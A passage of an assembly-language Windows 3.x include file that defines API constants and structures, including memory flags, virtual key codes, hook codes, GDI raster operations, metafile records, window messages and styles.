LMEM_NODISCARD  =   0020H
LMEM_ZEROINIT   =   0040h
LMEM_MODIFY     =   0080H
LMEM_DISCARDABLE=   0F00h
LHND    =    LMEM_MOVEABLE+LMEM_ZEROINIT
LPTR    =    LMEM_FIXED+LMEM_ZEROINIT
; Flags returned by LocalFlags (in addition to LMEM_DISCARDABLE)
LMEM_DISCARDED  =   4000H
LMEM_LOCKCOUNT  =   00FFH
 
NONZEROLHND     =    LMEM_MOVEABLE
NONZEROLPTR     =    LMEM_FIXED
 
 
 
GMEM_FIXED      =   0000h
GMEM_MOVEABLE   =   0002h
GMEM_NOCOMPACT  =   0010h
GMEM_NODISCARD  =   0020h
GMEM_ZEROINIT   =   0040h
GMEM_MODIFY     =   0080h
GMEM_DISCARDABLE=   0100h
GMEM_NOT_BANKED =   1000h
GMEM_DDESHARE   =   2000h
GMEM_SHARE      =   2000h
GMEM_NOTIFY     =   4000h
GMEM_LOWER      =   GMEM_NOT_BANKED
GHND            =   GMEM_MOVEABLE+GMEM_ZEROINIT
GPTR            =   GMEM_FIXED+GMEM_ZEROINIT
 
; Flags returned by GlobalFlags (in addition to GMEM_DISCARDABLE)
GMEM_DISCARDED  =    4000h
GMEM_LOCKCOUNT  =    00FFh
 
; Flags returned by GetWinFlags
 
WF_PMODE        =    0001h
WF_CPU286       =    0002h
WF_CPU386       =    0004h
WF_CPU486       =    0008h
WF_STANDARD     =    0010h
WF_WIN286       =    0010h
WF_ENHANCED     =    0020h
WF_WIN386       =    0020h
WF_CPU086       =    0040h
WF_CPU186       =    0080h
WF_LARGEFRAME   =    0100h
WF_SMALLFRAME   =    0200h
WF_80x87        =    0400h
WF_PAGING       =    0800h
WF_WLO          =    8000h
 
; WEP fSystemExit flag values
WEP_SYSTEM_EXIT =       1
WEP_FREE_DLL    =       0
 
 
;  Virtual Keys, Standard Set
 
IFNDEF          NOVK
VK_LBUTTON      = 01H
VK_RBUTTON      = 02H
VK_CANCEL       = 03H
VK_BACK         = 08H
VK_TAB          = 09H
VK_CLEAR        = 0cH
VK_RETURN       = 0dH
VK_SHIFT        = 10H
VK_CONTROL      = 11H
VK_MENU         = 12H
VK_PAUSE        = 13H
VK_CAPITAL      = 14H
VK_ESCAPE       = 1bH
VK_SPACE        = 20H
 
VK_PRIOR        = 21H
VK_NEXT         = 22H
VK_END          = 23H
VK_HOME         = 24H
VK_LEFT         = 25H
VK_UP           = 26H
VK_RIGHT        = 27H
VK_DOWN         = 28H
 
;  VK_A thru VK_Z are the same as their ASCII equivalents: 'A' thru 'Z'
;  VK_0 thru VK_9 are the same as their ASCII equivalents: '0' thru '0'
 
VK_PRINT        = 2aH
VK_EXECUTE      = 2bH
VK_SNAPSHOT     = 2ch   ; Printscreen key..
VK_INSERT       = 2dH
VK_DELETE       = 2eH
VK_HELP         = 2fH
 
VK_NUMPAD0      = 60H
VK_NUMPAD1      = 61H
VK_NUMPAD2      = 62H
VK_NUMPAD3      = 63H
VK_NUMPAD4      = 64H
VK_NUMPAD5      = 65H
VK_NUMPAD6      = 66H
VK_NUMPAD7      = 67H
VK_NUMPAD8      = 68H
VK_NUMPAD9      = 69H
VK_MULTIPLY     = 6AH
VK_ADD          = 6BH
VK_SEPARATER    = 6CH
VK_SUBTRACT     = 6DH
VK_DECIMAL      = 6EH
VK_DIVIDE       = 6FH
 
VK_F1           = 70H
VK_F2           = 71H
VK_F3           = 72H
VK_F4           = 73H
VK_F5           = 74H
VK_F6           = 75H
VK_F7           = 76H
VK_F8           = 77H
VK_F9           = 78H
VK_F10          = 79H
VK_F11          = 7aH
VK_F12          = 7bH
VK_F13          = 7cH
VK_F14          = 7dH
VK_F15          = 7eH
VK_F16          = 7fH
VK_F17          = 80H
VK_F18          = 81H
VK_F19          = 82H
VK_F20          = 83H
VK_F21          = 84H
VK_F22          = 85H
VK_F23          = 86H
VK_F24          = 87H
 
VK_NUMLOCK      = 90H
VK_SCROLL       = 91H
ENDIF
 
IFNDEF NOWH
 
; SetWindowsHook() codes
WH_MSGFILTER       = (-1)
WH_JOURNALRECORD   = 0
WH_JOURNALPLAYBACK = 1
WH_KEYBOARD        = 2
WH_GETMESSAGE      = 3
WH_CALLWNDPROC     = 4
IFNDEF NOWIN31
WH_CBT             = 5
WH_SYSMSGFILTER    = 6
WH_MOUSE           = 7
WH_HARDWARE        = 8
WH_DEBUG           = 9
ENDIF
;
; Hook Codes
HC_GETLPLPFN       = (-3)
HC_LPLPFNNEXT      = (-2)
HC_LPFNNEXT        = (-1)
HC_ACTION          = 0
HC_GETNEXT         = 1
HC_SKIP            = 2
HC_NOREM           = 3
HC_NOREMOVE        = 3
HC_SYSMODALON      = 4
HC_SYSMODALOFF     = 5
;
; CBT Hook Codes
HCBT_MOVESIZE      = 0
HCBT_MINMAX        = 1
HCBT_QS            = 2
HCBT_CREATEWND     = 3
HCBT_DESTROYWND    = 4
HCBT_ACTIVATE      = 5
HCBT_CLICKSKIPPED  = 6
HCBT_KEYSKIPPED    = 7
HCBT_SYSCOMMAND    = 8
HCBT_SETFOCUS      = 9
 
;
; WH_MSGFILTER Filter Proc Codes
MSGF_DIALOGBOX     = 0
MSGF_MENU          = 2
MSGF_MOVE          = 3
MSGF_SIZE          = 4
MSGF_SCROLLBAR     = 5
MSGF_NEXTWINDOW    = 6
;
; Window Manager Hook Codes
WC_INIT            = 1
WC_SWP             = 2
WC_DEFWINDOWPROC   = 3
WC_MINMAX          = 4
WC_MOVE            = 5
WC_SIZE            = 6
WC_DRAWCAPTION     = 7
;
 
; Message Structure used in Journaling
EVENTMSG    struc
    message     dw ?
    paramL      dw ?
    paramH      dw ?
    time        dd ?
EVENTMSG    ends
 
ENDIF ;NOWH
 
; Window field offsets for GetWindowLong() and GetWindowWord()
GWL_WNDPROC       =  (-4)
GWW_HINSTANCE     =  (-6)
GWW_HWNDPARENT    =  (-8)
GWW_ID            =  (-12)
GWL_STYLE         =  (-16)
GWL_EXSTYLE       =  (-20)
 
; GetWindow() Constants
GW_HWNDFIRST      =  0
GW_HWNDLAST       =  1
GW_HWNDNEXT       =  2
GW_HWNDPREV       =  3
GW_OWNER          =  4
GW_CHILD          =  5
 
; Class field offsets for GetClassLong() and GetClassWord()
GCL_MENUNAME      =  (-8)
GCW_HBRBACKGROUND =  (-10)
GCW_HCURSOR       =  (-12)
GCW_HICON         =  (-14)
GCW_HMODULE       =  (-16)
GCW_CBWNDEXTRA    =  (-18)
GCW_CBCLSEXTRA    =  (-20)
GCL_WNDPROC       =  (-24)
GCW_STYLE         =  (-26)
 
; WinWhere() Area Codes
HTERROR           =  (-2)
HTTRANSPARENT     =  (-1)
HTNOWHERE         =  0
HTCLIENT          =  1
HTCAPTION         =  2
HTSYSMENU         =  3
HTGROWBOX         =  4
HTSIZE            =  HTGROWBOX
HTMENU            =  5
HTHSCROLL         =  6
HTVSCROLL         =  7
HTREDUCE          =  8
HTZOOM            =  9
HTLEFT            =  10
HTRIGHT           =  11
HTTOP             =  12
HTTOPLEFT         =  13
HTTOPRIGHT        =  14
HTBOTTOM          =  15
HTBOTTOMLEFT      =  16
HTBOTTOMRIGHT     =  17
HTSIZEFIRST       =  HTLEFT
HTSIZELAST        =  HTBOTTOMRIGHT
 
 
 
;*************************************************************************
;
;       Misc structures & constants
;
;*************************************************************************
 
IFNDEF  NOMST
POINT   struc
        ptX             dw      ?
        ptY             dw      ?
POINT   ends
 
LOGPEN struc
    lopnStyle       dw ?
    lopnWidth       db (SIZE POINT) DUP(?)
    lopnColor       dd ?
LOGPEN ends
 
 
BITMAP STRUC
        bmType         DW ?
        bmWidth        DW ?
        bmHeight       DW ?
        bmWidthBytes   DW ?
        bmPlanes       DB ?
        bmBitsPixel    DB ?
        bmBits         DD ?
BITMAP ENDS
 
RGBTRIPLE       struc
        rgbBlue         db ?
        rgbGreen        db ?
        rgbRed          db ?
RGBTRIPLE       ends
 
RGBQUAD         struc
        rgbqBlue        db ?
        rgbqGreen       db ?
        rgbqRed         db ?
        rgbqReserved    db ?
RGBQUAD         ends
 
; structures for defining DIBs
BITMAPCOREHEADER struc
        bcSize      dd ?
        bcWidth     dw ?
        bcHeight    dw ?
        bcPlanes    dw ?
        bcBitCount  dw ?
BITMAPCOREHEADER ends
 
BITMAPINFOHEADER struc
        biSize           dd ?
        biWidth          dd ?
        biHeight         dd ?
        biPlanes         dw ?
        biBitCount       dw ?
 
        biCompression    dd ?
        biSizeImage      dd ?
        biXPelsPerMeter  dd ?
        biYPelsPerMeter  dd ?
        biClrUsed        dd ?
        biClrImportant   dd ?
BITMAPINFOHEADER ends
 
BITMAPINFO  struc
    bmiHeader   db (SIZE BITMAPINFOHEADER) DUP (?)
    bmiColors   db ?            ; array of RGBQUADs
BITMAPINFO  ends
 
BITMAPCOREINFO  struc
    bmciHeader  db (SIZE BITMAPCOREHEADER) DUP (?)
    bmciColors  db ?            ; array of RGBTRIPLEs
BITMAPCOREINFO  ends
 
BITMAPFILEHEADER struc
    bfType          dw ?
    bfSize          dd ?
    bfReserved1     dw ?
    bfReserved2     dw ?
    bfOffBits       dd ?
BITMAPFILEHEADER ends
 
 
WNDSTRUC struc
        WSwndStyle        dd      ?
        WSwndID           dw      ?
        WSwndText         dw      ?
        WSwndParent       dw      ?
        WSwndInstance     dw      ?
        WSwndClassProc    dd      ?
WNDSTRUC ends
;
;  Message structure
;
MSGSTRUCT       struc
msHWND          dw      ?
msMESSAGE       dw      ?
msWPARAM        dw      ?
msLPARAM        dd      ?
msTIME          dd      ?
msPT            dd      ?
MSGSTRUCT       ends
 
NEWPARMS struc
        nprmHwnd        dw      ?
        nprmCmd         db      ?
NEWPARMS ends
ENDIF
 
PAINTSTRUCT STRUC
    PShdc         DW ?
    PSfErase      DW ?
    PSrcPaint     DB size RECT dup(?)
    PSfRestore    DW ?
    PSfIncUpdate  DW ?
    PSrgbReserved DB 16 dup(?)
PAINTSTRUCT ENDS
 
 
CREATESTRUCT struc
    cs_lpCreateParams  dd ?
    cs_hInstance       dw ?
    cs_hMenu           dw ?
    cs_hwndParent      dw ?
    cs_cy              dw ?
    cs_cx              dw ?
    cs_y               dw ?
    cs_x               dw ?
    cs_style           dd ?
    cs_lpszName        dd ?
    cs_lpszClass       dd ?
    cs_dwExStyle       dd ?
CREATESTRUCT  ends
;
;       PostError constants
;
WARNING     = 0           ; command codes
MINOR_ERROR = 1
FATAL_ERROR = 2
 
IGNORE      = 0           ; response codes
RETRY       = 1
ABORT       = 2
;
; GDI-related constants & commands
;
ERRORREGION     = 0
NULLREGION      = 1
SIMPLEREGION    = 2
COMPLEXREGION   = 3
 
IFNDEF NORASTOPS
;
; Binary raster ops
;
R2_BLACK        =  1
R2_NOTMERGEPEN  =  2
R2_MASKNOTPEN   =  3
R2_NOTCOPYPEN   =  4
R2_MASKPENNOT   =  5
R2_NOT          =  6
R2_XORPEN       =  7
R2_NOTMASKPEN   =  8
R2_MASKPEN      =  9
R2_NOTXORPEN    = 10
R2_NOP          = 11
R2_MERGENOTPEN  = 12
R2_COPYPEN      = 13
R2_MERGEPENNOT  = 14
R2_MERGEPEN     = 15
R2_WHITE        = 16
;
; Ternary raster ops
;
SRCCOPY_L     = 0020h   ;dest=source
SRCCOPY_H     = 00CCh
SRCPAINT_L    = 0086h   ;dest=source OR dest
SRCPAINT_H    = 00EEh
SRCAND_L      = 00C6h   ;dest=source AND   dest
SRCAND_H      = 0088h
SRCINVERT_L   = 0046h   ;dest= source XOR      dest
SRCINVERT_H   = 0066h
SRCERASE_L    = 0328h   ;dest= source AND (not dest )
SRCERASE_H    = 0044h
NOTSRCCOPY_L  = 0008h   ;dest= (not source)
NOTSRCCOPY_H  = 0033h
NOTSRCERASE_L = 00A6h   ;dest= (not source) AND (not dest)
NOTSRCERASE_H = 0011h
MERGECOPY_L   = 00CAh   ;dest= (source AND pattern)
MERGECOPY_H   = 00C0h
MERGEPAINT_L  = 0226h   ;dest= (source AND pattern) OR dest
MERGEPAINT_H  = 00BBh
PATCOPY_L     = 0021h   ;dest= pattern
PATCOPY_H     = 00F0h
PATPAINT_L    = 0A09h   ;DPSnoo
PATPAINT_H    = 00FBh
PATINVERT_L   = 0049h   ;dest= pattern XOR     dest
PATINVERT_H   = 005Ah
DSTINVERT_L   = 0009h   ;dest= (not dest)
DSTINVERT_H   = 0055h
BLACKNESS_L   = 0042h   ;dest= BLACK
BLACKNESS_H   = 0000h
WHITENESS_L   = 0062h   ;dest= WHITE
WHITENESS_H   = 00FFh
;
; StretchBlt modes
;
BLACKONWHITE    = 1
WHITEONBLACK    = 2
COLORONCOLOR    = 3
;
; New StretchBlt modes
;
STRETCH_ANDSCANS    = 1
STRETCH_ORSCANS     = 2
STRETCH_DELETESCANS = 3
;
; PolyFill modes
;
ALTERNATE       = 1
WINDING         = 2
ENDIF
;
; Text Alignment Options
;
TA_NOUPDATECP   =  0
TA_UPDATECP     =  1
 
TA_LEFT         =  0
TA_RIGHT        =  2
TA_CENTER       =  6
 
TA_TOP          =  0
TA_BOTTOM       =  8
TA_BASELINE     =  24
 
ETO_GRAYED      =  1
ETO_OPAQUE      =  2
ETO_CLIPPED     =  4
 
ASPECT_FILTERING = 1
 
ifndef NOMETAFILE
 
; Metafile Functions */
META_SETBKCOLOR            =  0201h
META_SETBKMODE             =  0102h
META_SETMAPMODE            =  0103h
META_SETROP2               =  0104h
META_SETRELABS             =  0105h
META_SETPOLYFILLMODE       =  0106h
META_SETSTRETCHBLTMODE     =  0107h
META_SETTEXTCHAREXTRA      =  0108h
META_SETTEXTCOLOR          =  0209h
META_SETTEXTJUSTIFICATION  =  020Ah
META_SETWINDOWORG          =  020Bh
META_SETWINDOWEXT          =  020Ch
META_SETVIEWPORTORG        =  020Dh
META_SETVIEWPORTEXT        =  020Eh
META_OFFSETWINDOWORG       =  020Fh
META_SCALEWINDOWEXT        =  0400h
META_OFFSETVIEWPORTORG     =  0211h
META_SCALEVIEWPORTEXT      =  0412h
META_LINETO                =  0213h
META_MOVETO                =  0214h
META_EXCLUDECLIPRECT       =  0415h
META_INTERSECTCLIPRECT     =  0416h
META_ARC                   =  0817h
META_ELLIPSE               =  0418h
META_FLOODFILL             =  0419h
META_PIE                   =  081Ah
META_RECTANGLE             =  041Bh
META_ROUNDRECT             =  061Ch
META_PATBLT                =  061Dh
META_SAVEDC                =  001Eh
META_SETPIXEL              =  041Fh
META_OFFSETCLIPRGN         =  0220h
META_TEXTOUT               =  0521h
META_BITBLT                =  0922h
META_STRETCHBLT            =  0B23h
META_POLYGON               =  0324h
META_POLYLINE              =  0325h
META_ESCAPE                =  0626h
META_RESTOREDC             =  0127h
META_FILLREGION            =  0228h
META_FRAMEREGION           =  0429h
META_INVERTREGION          =  012Ah
META_PAINTREGION           =  012Bh
META_SELECTCLIPREGION      =  012Ch
META_SELECTOBJECT          =  012Dh
META_SETTEXTALIGN          =  012Eh
META_DRAWTEXT              =  062Fh
 
META_CHORD                 =  0830h
META_SETMAPPERFLAGS        =  0231h
META_EXTTEXTOUT            =  0a32h
META_SETDIBTODEV           =  0d33h
META_SELECTPALETTE         =  0234h
META_REALIZEPALETTE        =  0035h
META_ANIMATEPALETTE        =  0436h
META_SETPALENTRIES         =  0037h
META_POLYPOLYGON           =  0538h
META_RESIZEPALETTE         =  0139h
 
META_DIBBITBLT             =  0940h
META_DIBSTRETCHBLT         =  0b41h
META_DIBCREATEPATTERNBRUSH =  0142h
META_STRETCHDIB            =  0f43h
 
META_DELETEOBJECT          =  01f0h
 
META_CREATEPALETTE         =  00f7h
META_CREATEBRUSH           =  00F8h
META_CREATEPATTERNBRUSH    =  01F9h
META_CREATEPENINDIRECT     =  02FAh
META_CREATEFONTINDIRECT    =  02FBh
META_CREATEBRUSHINDIRECT   =  02FCh
META_CREATEBITMAPINDIRECT  =  02FDh
META_CREATEBITMAP          =  06FEh
META_CREATEREGION          =  06FFh
 
; /* Clipboard Metafile Picture Structure */
HANDLETABLE struc
    ht_objectHandle  dw      ?
HANDLETABLE ends
 
METARECORD struc
    mr_rdSize        dd      ?
    mr_rdFunction    dw      ?
    mr_rdParm        dw      ?
METARECORD ends
 
METAFILEPICT struc
    mfp_mm      dw      ?
    mfp_xExt    dw      ?
    mfp_yExt    dw      ?
    mfp_hMF     dw      ?
METAFILEPICT ends
 
METAHEADER struc
  mtType        dw      ?
  mtHeaderSize  dw      ?
  mtVersion     dw      ?
  mtSize        dd      ?
  mtNoObjects   dw      ?
  mtMaxRecord   dd      ?
  mtNoParameters dw     ?
METAHEADER ends
 
endif ; NOMETAFILE
 
; GDI Escapes
NEWFRAME                  =   1
ABORTDOC                  =   2
NEXTBAND                  =   3
SETCOLORTABLE             =   4
GETCOLORTABLE             =   5
FLUSHOUTPUT               =   6
DRAFTMODE                 =   7
QUERYESCSUPPORT           =   8
SETABORTPROC              =   9
STARTDOC                  =   10
;; This value conflicts with a std WIN386 MACRO definition
;;ENDDOC                    =   11
GETPHYSPAGESIZE           =   12
GETPRINTINGOFFSET         =   13
GETSCALINGFACTOR          =   14
MFCOMMENT                 =   15
GETPENWIDTH               =   16
SETCOPYCOUNT              =   17
SELECTPAPERSOURCE         =   18
DEVICEDATA                =   19
PASSTHROUGH               =   19
GETTECHNOLGY              =   20
GETTECHNOLOGY             =   20
SETENDCAP                 =   21
SETLINEJOIN               =   22
SETMITERLIMIT             =   23
BANDINFO                  =   24
DRAWPATTERNRECT           =   25
GETVECTORPENSIZE          =   26
GETVECTORBRUSHSIZE        =   27
ENABLEDUPLEX              =   28
ENABLEMANUALFEED          =   29
GETSETPAPERBINS           =   29
GETSETPRINTORIENT         =   30
ENUMPAPERBINS             =   31
 
GETEXTENDEDTEXTMETRICS    =   256
GETEXTENTTABLE            =   257
GETPAIRKERNTABLE          =   258
GETTRACKKERNTABLE         =   259
 
EXTTEXTOUT                =   512
 
ENABLERELATIVEWIDTHS      =   768
ENABLEPAIRKERNING         =   769
SETKERNTRACK              =   770
SETALLJUSTVALUES          =   771
SETCHARSET                =   772
 
GETSETSCREENPARAMS        =   3072
 
STRETCHBLT                =   2048
 
 
; Spooler Error Codes
SP_NOTREPORTED            =   4000h
SP_ERROR                  =   (-1)
SP_APPABORT               =   (-2)
SP_USERABORT              =   (-3)
SP_OUTOFDISK              =   (-4)
SP_OUTOFMEMORY            =   (-5)
 
PR_JOBSTATUS              =   0000
 
; Object Definitions for EnumObjects()
OBJ_PEN                   =   1
OBJ_BRUSH                 =   2
 
;
; Menu flags for Change/Check/Enable MenuItem
;
MF_INSERT       =   0000h
MF_CHANGE       =   0080h
MF_APPEND       =   0100h
MF_DELETE       =   0200h
MF_REMOVE       =   1000h
 
MF_BYCOMMAND    =   0000h
MF_BYPOSITION   =   0400h
 
MF_SEPARATOR    =   0800h
 
MF_ENABLED      =   0000h
MF_GRAYED       =   0001h
MF_DISABLED     =   0002h
 
MF_UNCHECKED    =   0000h
MF_CHECKED      =   0008h
MF_USECHECKBITMAPS= 0200h
 
MF_STRING       =   0000h
MF_BITMAP       =   0004h
MF_OWNERDRAW    =   0100h
 
MF_POPUP        =   0010h
MF_MENUBARBREAK =   0020h
MF_MENUBREAK    =   0040h
 
MF_UNHILITE     =   0000h
MF_HILITE       =   0080h
 
MF_SYSMENU      =   2000h
MF_HELP         =   4000h
MF_MOUSESELECT  =   8000h
 
 
;
;  System Menu Command Values
;
SC_SIZE        = 0F000h
SC_MOVE        = 0F010h
SC_MINIMIZE    = 0F020h
SC_MAXIMIZE    = 0F030h
SC_NEXTWINDOW  = 0F040h
SC_PREVWINDOW  = 0F050h
SC_CLOSE       = 0F060h
SC_VSCROLL     = 0F070h
SC_HSCROLL     = 0F080h
SC_MOUSEMENU   = 0F090h
SC_KEYMENU     = 0F100h
SC_ARRANGE     = 0F110h
SC_RESTORE     = 0F120h
SC_TASKLIST    = 0F130h
SC_SCREENSAVE  = 0F140h
SC_HOTKEY      = 0F150h
 
SC_ICON        = SC_MINIMIZE
SC_ZOOM        = SC_MAXIMIZE
 
;
;  Window State Messages
;
IFNDEF  NOWM
WM_STATE            = 0000H
 
WM_NULL             = 0000h
WM_CREATE           = 0001h
WM_DESTROY          = 0002h
WM_MOVE             = 0003h
WM_SIZE             = 0005h
WM_ACTIVATE         = 0006h
WM_SETFOCUS         = 0007h
WM_KILLFOCUS        = 0008h
WM_ENABLE           = 000Ah
WM_SETREDRAW        = 000Bh
WM_SETTEXT          = 000Ch
WM_GETTEXT          = 000Dh
WM_GETTEXTLENGTH    = 000Eh
WM_PAINT            = 000Fh
WM_CLOSE            = 0010h
WM_QUERYENDSESSION  = 0011h
WM_QUIT             = 0012h
WM_QUERYOPEN        = 0013h
WM_ERASEBKGND       = 0014h
WM_SYSCOLORCHANGE   = 0015h
WM_ENDSESSION       = 0016h
WM_SYSTEMERROR      = 0017h
WM_SHOWWINDOW       = 0018h
WM_CTLCOLOR         = 0019h
WM_WININICHANGE     = 001Ah
WM_DEVMODECHANGE    = 001Bh
WM_ACTIVATEAPP      = 001Ch
WM_FONTCHANGE       = 001Dh
WM_TIMECHANGE       = 001Eh
WM_CANCELMODE       = 001Fh
WM_SETCURSOR        = 0020h
WM_MOUSEACTIVATE    = 0021h
WM_CHILDACTIVATE    = 0022h
WM_QUEUESYNC        = 0023h
WM_GETMINMAXINFO    = 0024h
WM_PAINTICON        = 0026h
WM_ICONERASEBKGND   = 0027h
WM_NEXTDLGCTL       = 0028h
WM_SPOOLERSTATUS    = 002Ah
WM_DRAWITEM         = 002Bh
WM_MEASUREITEM      = 002Ch
WM_DELETEITEM       = 002Dh
WM_VKEYTOITEM       = 002Eh
WM_CHARTOITEM       = 002Fh
WM_SETFONT          = 0030h
WM_GETFONT          = 0031h
WM_QUERYDRAGICON    = 0037h
WM_COMPAREITEM      = 0039h
WM_COMPACTING       = 0041h
IFNDEF NOWIN31
WM_COMMNOTIFY       = 0044h
WM_WINDOWPOSCHANGING= 0046h
WM_WINDOWPOSCHANGED = 0047h
WM_POWER            = 0048h
ENDIF
 
 
WM_NCCREATE         = 0081h
WM_NCDESTROY        = 0082h
WM_NCCALCSIZE       = 0083h
WM_NCHITTEST        = 0084h
WM_NCPAINT          = 0085h
WM_NCACTIVATE       = 0086h
WM_GETDLGCODE       = 0087h
WM_NCMOUSEMOVE      = 00A0h
WM_NCLBUTTONDOWN    = 00A1h
WM_NCLBUTTONUP      = 00A2h
WM_NCLBUTTONDBLCLK  = 00A3h
WM_NCRBUTTONDOWN    = 00A4h
WM_NCRBUTTONUP      = 00A5h
WM_NCRBUTTONDBLCLK  = 00A6h
WM_NCMBUTTONDOWN    = 00A7h
WM_NCMBUTTONUP      = 00A8h
WM_NCMBUTTONDBLCLK  = 00A9h
 
WM_KEYFIRST         = 0100h
WM_KEYDOWN          = 0100h
WM_KEYUP            = 0101h
WM_CHAR             = 0102h
WM_DEADCHAR         = 0103h
WM_SYSKEYDOWN       = 0104h
WM_SYSKEYUP         = 0105h
WM_SYSCHAR          = 0106h
WM_SYSDEADCHAR      = 0107h
WM_KEYLAST          = 0108h
 
WM_INITDIALOG       = 0110h
WM_COMMAND          = 0111h
WM_SYSCOMMAND       = 0112h
WM_TIMER            = 0113h
WM_HSCROLL          = 0114h
WM_VSCROLL          = 0115h
WM_INITMENU         = 0116h
WM_INITMENUPOPUP    = 0117h
WM_MENUSELECT       = 011Fh
WM_MENUCHAR         = 0120h
WM_ENTERIDLE        = 0121h
 
 
WM_MOUSEFIRST       = 0200h
WM_MOUSEMOVE        = 0200h
WM_LBUTTONDOWN      = 0201h
WM_LBUTTONUP        = 0202h
WM_LBUTTONDBLCLK    = 0203h
WM_RBUTTONDOWN      = 0204h
WM_RBUTTONUP        = 0205h
WM_RBUTTONDBLCLK    = 0206h
WM_MBUTTONDOWN      = 0207h
WM_MBUTTONUP        = 0208h
WM_MBUTTONDBLCLK    = 0209h
WM_MOUSELAST        = 0209h
 
WM_PARENTNOTIFY     = 0210h
WM_MDICREATE        = 0220h
WM_MDIDESTROY       = 0221h
WM_MDIACTIVATE      = 0222h
WM_MDIRESTORE       = 0223h
WM_MDINEXT          = 0224h
WM_MDIMAXIMIZE      = 0225h
WM_MDITILE          = 0226h
WM_MDICASCADE       = 0227h
WM_MDIICONARRANGE   = 0228h
WM_MDIGETACTIVE     = 0229h
WM_MDISETMENU       = 0230h
WM_DROPFILES        = 0233h
 
 
WM_CUT              = 0300h
WM_COPY             = 0301h
WM_PASTE            = 0302h
WM_CLEAR            = 0303h
WM_UNDO             = 0304h
WM_RENDERFORMAT     = 0305h
WM_RENDERALLFORMATS = 0306h
WM_DESTROYCLIPBOARD = 0307h
WM_DRAWCLIPBOARD    = 0308h
WM_PAINTCLIPBOARD   = 0309h
WM_VSCROLLCLIPBOARD = 030Ah
WM_SIZECLIPBOARD    = 030Bh
WM_ASKCBFORMATNAME  = 030Ch
WM_CHANGECBCHAIN    = 030Dh
WM_HSCROLLCLIPBOARD = 030Eh
WM_QUERYNEWPALETTE  = 030Fh
WM_PALETTEISCHANGING = 0310h
WM_PALETTECHANGED   = 0311h
 
IFNDEF NOWIN31
WM_PENWINFIRST      equ 0380h
WM_PENWINLAST       equ 038Fh
 
 
WM_COALESCE_FIRST  equ 0390h
WM_COALESCE_LAST   equ 039Fh
 
 
 
 
ENDIF
 
 
 
;  private window messages start here
WM_USER             = 0400H
ENDIF           ; NOWM
 
; WM_MOUSEACTIVATE Return Codes
MA_ACTIVATE       =  1
MA_ACTIVATEANDEAT =  2
MA_NOACTIVATE     =  3
 
; Size message commands
SIZENORMAL       = 0
SIZEICONIC       = 1
SIZEFULLSCREEN   = 2
SIZEZOOMSHOW     = 3
SIZEZOOMHIDE     = 4
 
; ShowWindow() Commands
SW_HIDE            = 0
SW_SHOWNORMAL      = 1
SW_NORMAL          = 1
SW_SHOWMINIMIZED   = 2
SW_SHOWMAXIMIZED   = 3
SW_MAXIMIZE        = 3
SW_SHOWNOACTIVATE  = 4
SW_SHOW            = 5
SW_MINIMIZE        = 6
SW_SHOWMINNOACTIVE = 7
SW_SHOWNA          = 8
SW_RESTORE         = 9
 
; Old ShowWindow() Commands
HIDE_WINDOW        = 0
SHOW_OPENWINDOW    = 1
SHOW_ICONWINDOW    = 2
SHOW_FULLSCREEN    = 3
SHOW_OPENNOACTIVATE= 4
 
;  identifiers for the WM_SHOWWINDOW message
SW_PARENTCLOSING =  1
SW_OTHERZOOM     =  2
SW_PARENTOPENING =  3
SW_OTHERUNZOOM   =  4
;
; Key state masks for mouse messages
;
MK_LBUTTON       = 0001h
MK_RBUTTON       = 0002h
MK_SHIFT         = 0004h
MK_CONTROL       = 0008h
MK_MBUTTON       = 0010h
;
; Class styles
;
CS_VREDRAW         = 0001h
CS_HREDRAW         = 0002h
CS_KEYCVTWINDOW    = 0004H
CS_DBLCLKS         = 0008h
;                    0010h reserved
CS_OWNDC           = 0020h
CS_CLASSDC         = 0040h
CS_PARENTDC        = 0080h
CS_NOKEYCVT        = 0100h
CS_SAVEBITS        = 0800h
CS_NOCLOSE         = 0200h
CS_BYTEALIGNCLIENT = 1000h
CS_BYTEALIGNWINDOW = 2000h
CS_GLOBALCLASS     = 4000h    ; Global window class
 
;
; Special CreateWindow position value
;
CW_USEDEFAULT   EQU    8000h
 
;
; Windows styles (the high words)
;
WS_OVERLAPPED   = 00000h
WS_ICONICPOPUP  = 0C000h
WS_POPUP        = 08000h
WS_CHILD        = 04000h
WS_MINIMIZE     = 02000h
WS_VISIBLE      = 01000h
WS_DISABLED     = 00800h
WS_CLIPSIBLINGS = 00400h
WS_CLIPCHILDREN = 00200h
WS_MAXIMIZE     = 00100h
WS_CAPTION      = 000C0h     ; WS_BORDER | WS_DLGFRAME
WS_BORDER       = 00080h
WS_DLGFRAME     = 00040h
WS_VSCROLL      = 00020h
WS_HSCROLL      = 00010h
WS_SYSMENU      = 00008h
WS_THICKFRAME   = 00004h
WS_HREDRAW      = 00002h
WS_VREDRAW      = 00001h
WS_GROUP        = 00002h
WS_TABSTOP      = 00001h
WS_MINIMIZEBOX  = 00002h
WS_MAXIMIZEBOX  = 00001h
 
; Common Window Styles
 
WS_OVERLAPPEDWINDOW = WS_OVERLAPPED + WS_CAPTION + WS_SYSMENU + WS_THICKFRAME + WS_MINIMIZEBOX + WS_MAXIMIZEBOX
WS_POPUPWINDOW  = WS_POPUP + WS_BORDER + WS_SYSMENU
WS_CHILDWINDOW  = WS_CHILD
WS_TILEDWINDOW  = WS_OVERLAPPEDWINDOW
 
WS_TILED        = WS_OVERLAPPED
WS_ICONIC       = WS_MINIMIZE
WS_SIZEBOX      = WS_THICKFRAME
 
; Extended Window Styles (low words)
WS_EX_DLGMODALFRAME  = 0001
WS_EX_DRAGOBJECT     = 0002
WS_EX_NOPARENTNOTIFY = 0004
WS_EX_TOPMOST        = 0008
 
;
; predefined clipboard formats
;
CF_TEXT         =  1
CF_BITMAP       =  2
CF_METAFILEPICT =  3
CF_SYLK         =  4
CF_DIF          =  5
CF_TIFF         =  6
CF_OEMTEXT      =  7
CF_DIB          =  8
CF_PALETTE      =  9
CF_PENDATA      = 10
CF_RIFF         = 11
CF_WAVE         = 12
 
CF_OWNERDISPLAY = 80h       ; owner display
CF_DSPTEXT      = 81h       ; display text
CF_DSPBITMAP    = 82h       ; display bitmap
CF_DSPMETAFILEPICT  = 83h   ; display metafile
;
; Private clipboard format range
;
CF_PRIVATEFIRST       = 200h       ; Anything in this range doesn't
CF_PRIVATELAST        = 2ffh       ; get GlobalFree'd
CF_GDIOBJFIRST        = 300h       ; Anything in this range gets
CF_GDIOBJLAST         = 3ffh       ; DeleteObject'ed
 
 
MAKEINTRESOURCE MACRO a
        mov     ax,a
        xor     dx,dx
        ENDM
;
;  Predefined resource types
;
